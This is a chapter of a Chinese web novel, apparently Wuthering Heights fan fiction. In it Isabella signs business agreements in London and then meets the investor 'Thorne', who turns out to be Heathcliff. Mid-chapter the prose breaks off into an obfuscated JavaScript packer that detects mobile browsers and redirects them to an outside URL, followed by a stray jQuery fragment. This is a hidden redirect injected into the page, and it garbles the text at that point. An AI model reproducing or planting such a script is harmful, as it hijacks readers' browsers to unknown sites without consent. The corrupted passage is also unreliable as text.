实验到组装阶段了，明天让南希去请个熟练工匠教亨利；上午和詹姆斯签协议，下午伪装成詹姆斯助手，陪他和索恩先生签约，签约后回来沐浴，穿那件鹅黄裙子，去参加威尔金森的庆贺饭局。


    卧室炉火正旺，深夜的玻璃窗蒙着薄雾，穿着睡裙渡步思索的伊莎贝拉停下来，应该没什么了，看眼后院可以睡觉了。二月风大，她每晚睡前都要看一眼才放心，免得引发火灾。


    她走到窗前向下望去，后院的铜质蒸馏器在夜色中泛着冷光，齿轮链条垂落如藤蔓，火是熄的。


    不，不对，哪里不对。


    她扣着窗框将脸贴上玻璃，屋内倒影彻底消失。


    院墙外马路边，悬挂油灯的光晕里，确实立着个身穿黑衣的男人，在院墙上折出一道斜长的影子，刚才不是她眼花！


    那人半张脸都被黑色围巾缠住，帽檐压得低，在面部投下阴影，几乎看不到脸，唯有鼻梁折出道光，肩背线条利落挺拔，仰头的姿势像在观看星辰，可角度分明正对她的窗口。


    她拉开窗，泰晤士河的水腥味扑面而来，和那男人对上视线那秒，对方忽抬手调整了帽檐，转身离去，消失在了雾霭之中。


    她最近总觉得怪，好似周遭有看不见的眼睛在窥视，难道就是这个人？


    是有同行发现她在做蒸汽动力改良试验了么？


    罢了罢了，只能是之后更注意些，现在不要想了，睡觉！自从来了伦敦，就梦回加班狗作息了，再不睡黑眼圈要遮不住了。


    她可不想顶着黑眼圈度过人生最重要的一天。


    *


    二楼书房


    詹姆斯拿出两份十几页的《永不凋谢的玫瑰公司隐名代理协议》，自己签一份，推给伊莎贝拉一份，仔细审阅后，她沾墨签字，盖手印。


    代理关系分显名与隐名，詹姆斯与她的合作模式属于隐名代理，即以詹姆斯名义和合作商签署合作协议，她属于‘未披露委托人’。


    如果不签这份协议，根据《普通法》，合同签署人詹姆斯是对外承担全部义务责任的责任人，但签了隐名代理协议，公司产生的所有债务或损失，就将转移到伊莎贝拉身上，由她实际承担。


    而詹姆斯，则须将收益全数转交，也不得擅自处置公司资产，如抵押、担保等，只能按协议收取固定佣金或代理服务费。


    伊莎贝拉之所以选择隐名代理，一是此时的英国，女性合伙人并不被男性投资者接受，二是信托财产本来就在受托人詹姆斯名下，公司经济往来直接从他名下操作，反而方便。


    詹姆斯收好自己那份代理协议，拿出下午要和索恩先生签署的合伙人协议，给她过目校对。


    一个多星期了，詹姆斯天天都在按照她的意思，和威尔森金介绍的投资商索恩先生谈判。


    和油盐不进的威尔金森不同，这位索恩先生很好沟通。积极配合验资，商榷协议期间，也没提什么令她为难的要求，只是在公司管理权上拉扯了一周，但最终也让步了。


    开始融资的这一月，她才在深入谈判中，了解到原来此时的英国是禁止民间股份制公司成立的，为此还专门出过个《泡沫法案》。


    也就是说，她只能依据《普通法》和《合伙法》，以合伙制运作公司。


    合伙制是没有谁控股这个概念的，所有合伙人承担的都是无限连带责任，她和索恩，或者以后的合伙人，无论出资占比多少，都对公司负‘全责’。能通过协议约定的，仅仅是出资比例、利润分配、管理权、退出机制。


    所以她才会针对管理权，令詹姆斯和索恩先生扯皮了一周。


    同等全责下，销售经营权她可以分，但关系公司核心走向的管理权绝对不能分，哪怕对方表示可以追加出资，甚至愿意让渡利润配比，她都坚决没有同意。


    *


    东印度公司俱乐部  孟加拉厅


    填充了羊毛隔音的厚厚墙壁，被覆上厚丝绒布的窗户，连侍者都是聋哑人，这个专为签约所设的包厢，将私密性做到了这年代的极致。


    配有黄铜保险箱的柚木桌上，款放着协议文书、羽毛笔、印章等签约用物。


    哑仆放下印度马拉巴尔咖啡，詹姆斯端起品一口，对身侧人笑道：“伯爵夫人给我俱乐部金卡时，说是看在贝拉小姐的份上，敢情我这个老同学，到头来沾得是你的光。”


    “那是伯爵夫人会做人，你们太熟了不用客气，自然把人情给我才好。”


    “要说会做人，还是你会做人，伯爵夫人就罢了，威尔金森特邀我们参宴庆贺，不全是看在和你投缘。”


    “你就别给我贴金了，威尔金森不是说过，索恩先生是他很欣赏的那类人，晚上的饭局，明显是你我都沾了索恩的光。”


    门从外打开，哑仆引进两位绅士，一位是穿着职装的俱乐部常驻法务，另一位是礼服考究领口挺括，手持乌木镶银手杖的索恩先生。


    两厢握手，可能是因伊莎贝拉着男装，被默认成了助理，对方并没有问她的身份。


    索恩先生坐好，开始翻阅协议。


    为了方便隐秘交流，桌子设计的挺窄，甚至能看到他皮肤上的浮粉，香水味也是扑鼻的呛。


    他看协议的眼神机敏，但却很寡言，全程都是詹姆斯在详解条款，他只点头，偶尔问一句。期间几乎没有异议，只是要求调高违约金，詹姆斯接到伊莎贝拉的眼神许可后，将2倍更改为3倍。


    对于拥有管理权的贝拉来说，调高反而更好，如果建厂一半对方要撤资，靠违约金她也可以接上现金流。


    半小时后，没什么疑问的索恩先生拿起了羽毛笔，那握笔的中指关节变形得很显眼，应是长期书写所致。


    协议上有四处需要签字，索恩都规矩地依着划线，签上了Blake.Thorne（布莱克.索恩）


    签约后，俱乐部常驻法务作为汇票见证人，监看索恩签了一万英镑的英格兰银行汇票，移交给詹姆斯，詹姆斯只需择日持汇票去银行兑现即可。


    事毕握手，詹姆斯笑道：“咱们奇妙的缘分，始于威尔金森给了我您的住址，他听说我们今天签协议，特意要我转告您，今晚一定要去他的私人俱乐部参宴，一起为我们灿烂的未来庆祝，到时可要和你多喝两杯，索恩先生。”


    索恩笑着点头，眼睛弯得挤成细缝，铅白的脸被笑容牵扯皱起，掩饰着咬住下唇的局促。


    *


    侍者关上包铁橡木门，湿寒的冷气被隔绝在威尔金森的私人俱乐部外。


    铅色地毯铺满一楼地面，把伊莎贝拉的鹅黄裙子衬得很亮，大厅的穹顶锻铁做梁，肋拱交错，几十个铁艺煤气灯高低错路地悬垂着。


    “请留意台阶，贝拉小姐。”


    穿着鼠灰色礼服的威尔金森站在二楼平台，提醒仰头四看的伊莎贝拉。


    扶着铸铁栏杆上到二层，走廊灰墙被规则挖出格子，摆着各种机械。


    路过一节管道模型时，伊莎贝拉笑问亲自引路的威尔金森：“这是为伯明翰供水系统准备的管道样品？”


    “什么能逃过你的眼睛？贝拉女士。”


    “哪座城市能逃过您的钢铁？威尔金森先生。”


    相视一笑，愉悦气氛在有熟铁锈气的空气中蔓延开。


    推开鎏金门，映入眼帘的餐厅，与外面的冷硬截然不同。


    石膏线装饰的挑高天花板，精雕的大壁炉，桃花心木长桌，摩洛哥山羊皮高背椅。


    枝形烛芯吊灯发着暖光，氤氲低奢。


    厅内已有一位微胖可亲的绅士，见他们进来，迎上和詹姆斯握手，对伊莎贝拉行吻手礼。


    那绅士对威尔金森玩笑，“你还真把美丽的玫瑰带来你这铁锈堆啊？”


    威尔金森给两人介绍，“这位是约翰，做机械零配件，就是詹姆斯以后会用到织布机上的卷轴之类，他听说索恩今天会来，早早就来坐着，等着蹭我的法餐了。”


    “噢，瞧我们这铁疯子扣得，”看得出约翰和威尔金森很熟络，“要不是听你说索恩来伦敦了，你就是发函请我，我也没空来你这铁箱子里。当然，你要是请我玩惠斯特牌，我可以考虑。”


    “一会儿问问索恩，他也想玩的话，餐后咱们摸一把。”


    大家边笑谈边入了座，因三位绅士礼让，伊莎贝拉坐了背靠厅门的主客位。


    还有客人未到，侍者只以天鹅绒托盘端上了酒，并未布菜。


    威尔金森示意先给女士，“贝拉，窖藏十年的波特，还是赫雷斯的雪莉？”


    “雪莉酒，谢谢。”


    侍者给她倒好，又依次给詹姆斯、约翰和主家倒上。


    约翰品一口他选的波特酒，笑道：“没有古巴货搭配，简直浪费如此好酒。”


    威尔金森看向伊莎贝拉，“介意他来一根么？”


    得到女士点头允准，他给了侍者一个眼神，不一会，一个桃花心木盒被呈了上来，盖上烙印‘Havana 1783’。


    侍者款款打开，雪松木屑上，陈列着不同尺寸的雪茄，每支腰封都烫印着图腾。


    戴白手套的侍者剪茄点火，给三位男士各发了一根。


    烛火摇曳，烟雾缭绕，约翰大谈着那位许久未见的昔日伙伴，“詹姆斯，和他合作你不愁赚钱，那家伙眼刁胆大得很，当着兵就敢给威尔金森做军火掮客，大不列颠、美洲叛乱军、对面的法国，一吃三！给威尔金森着实爽了一阵子。”


    “别听他眼馋，他通过索恩倒卖零配件，赚得不比我少。”威尔金森对詹姆斯举杯，抿口雪莉酒，“他半个月前，和我说对你的纺织厂很感兴趣时，我以为他在耍我，毕竟这实在算不上快钱，事实证明，他还是一如从前守诺。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442980|169385||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    “哈哈，詹姆斯，索恩的能力我没话讲，但别听他给你捧那家伙的道德。”约翰深吸一口雪茄，吐个烟圈，“那家伙的守诺，不过是为了更大的利益，你要真没用试试看呢。给自己起名‘荆棘’的家伙，其优点怎么可能来源于美德。”


    “索恩不是姓么？”伊莎贝拉有些诧异，这约翰该不是喝醉了吧。


    “既是名又是姓，我和他合作时，问他来自哪个家族，”威尔金森磕掉烟灰，“才知索恩是个孤儿，没名没姓，参军时没名字不行，他自己给自己起了个Thorne。”


    伊莎贝拉眉头蹙起，詹姆斯迷惑道：“不是叫布莱克.索恩么？”


    威尔金森和约翰面面相觑之时，伊莎贝拉身后传来大门开启的滑音。


    “索恩先生到了，先生。”


    皮鞋闷闷踩在波斯地毯上，来人与她擦肩，深灰外套的下摆扫过她的鹅黄裙撑，带来彻骨的寒凉。


    约翰第一个起身与来人握手，半拥，“啧啧啧，”他打量那人，墨色绸缎马甲，雪白银线领巾，深灰马裤熨烫的笔直，衬得身材极好的他矜贵的很，“你现在怎么扮上了？以前叫你扮起来，你还不听，你早这样，沙龙里那帮贵妇非被你迷死不可！还倒卖什么机器！”


    威尔金森也起身与之握手，“衣服怎么湿了？脱了叫人拿下去烘烤一下吧。”


    等二人回了座，本该迎客寒暄的詹姆斯和伊莎贝拉，都还没起身。


    壁炉内榉木柴噼啪作响，窗外铅灰天幕飘着银丝，不像雪，应是冻雨。


    火光在来人侧脸跳动，那人眉骨投下的阴影，如匕首一般锋利。


    约翰挑着眉毛给詹姆斯示意，威尔金森也看向詹姆斯。


    女士可以不起立，你这合作伙伴怎么无动于衷？他们和索恩合作两年多了都还有距离感，你们不至于一星期就熟到这份上吧？


    那人看着詹姆斯，“想必格林先生，是在怪我迟到。”


    低沉的英伦鼻音，每一声都踏在她钝痛的神经上。


    “哈哈，对，就该这样，让你迟到。”约翰打圆场，“是吧，贝拉小姐？”


    看贝拉面无表情眼神空洞，约翰尴尬转回脸，笑道：“索恩，快坐快坐！喝点什么？这波特酒不错，够味。”


    侍者接过那人脱下的大衣，为他拉开椅子，落座，长腿一搭，指指波特酒。


    玻璃杯里掀起血色浪涌，他举杯抿了一口，舌尖轻舔杯沿残留的酒渍，像在舔血。


    六名侍者鱼贯而入，捧着未开封的银餐盘列队站定，开始布菜，烟熏空气中，隐约飘起松露的醇香。


    “自从你说要回老家去，多久没见了？”约翰冲那人举杯，“有半年了吧？早和你说了，窝在乡下浪费你那脑子，说说吧，怎么想通又出来干了？”


    那人单手解开领巾最上端的银扣，任洁白丝绸滑过喉结，另一只手有节奏地轻敲着酒杯。


    “有位朋友说，我该走出那里。”


    “那得感谢人家呀，”约翰看向煞白着一张脸的伊莎贝拉，“也得感谢贝拉小姐，还有今天的东道主威尔金森，不然你和詹姆斯哪有合作的缘分。”


    “他和詹姆斯本身也投缘，”威尔金森叉着鹅肝送进嘴里，“他们谈得很顺利，都无需我出面说和，一周就签了。”


    “不，和他投缘的，是我的律师布莱克.索恩。”那人看着詹姆斯，噙着恶劣笑意，“不止你没出面，我也没有，协议是我律师出面和他谈得。哈，当初我一听那律师和我同姓，就知道会是个得力的人呢。”


    “啊？”约翰诧异笑问，“意思你们今晚，其实是第一次见面？”


    他抬眉表示肯定，目光转向主客位，“现在不都流行，律师代理资方么？”


    “律师就是个传话筒，还是你有诚意的缘故，索恩，”威尔金森含笑起身，“你能帮詹姆斯解决资金问题，也算是帮了我和贝拉，来，”对众举杯，“让我们为他二人愉快地合作，光明的未来，干杯。”


    对方站起，微晃着酒杯，眼睛仍死死盯着主客。


    约翰也起身举杯，在威尔金森和约翰灼灼的目光下，詹姆斯不得不站起，他一口干了杯中酒，看着那张令他恶心的脸，雪莉酒在他胃里疯狂翻腾。


    希斯克里夫，你这个非要将她拉入地狱的，披着人皮的魔鬼！


    威尔金森和约翰都看向主客位上，一直一动未动的伊莎贝拉。


    威尔金森不得不提醒，“贝拉，一起干一杯？”


    希斯克里夫眯起灰绿色的眼睛，“她不用动，我过去。”


    他踩着地毯一步步靠近，红酒在杯中晃动，烛光透过杯壁映在她曾经迷恋的那张脸上。


    那张脸停在她面前睥睨着她，酒杯与她的相碰，发出清脆的颤音。


    “为我们愉快地合作，光明的未来，干杯，伊莎贝拉。”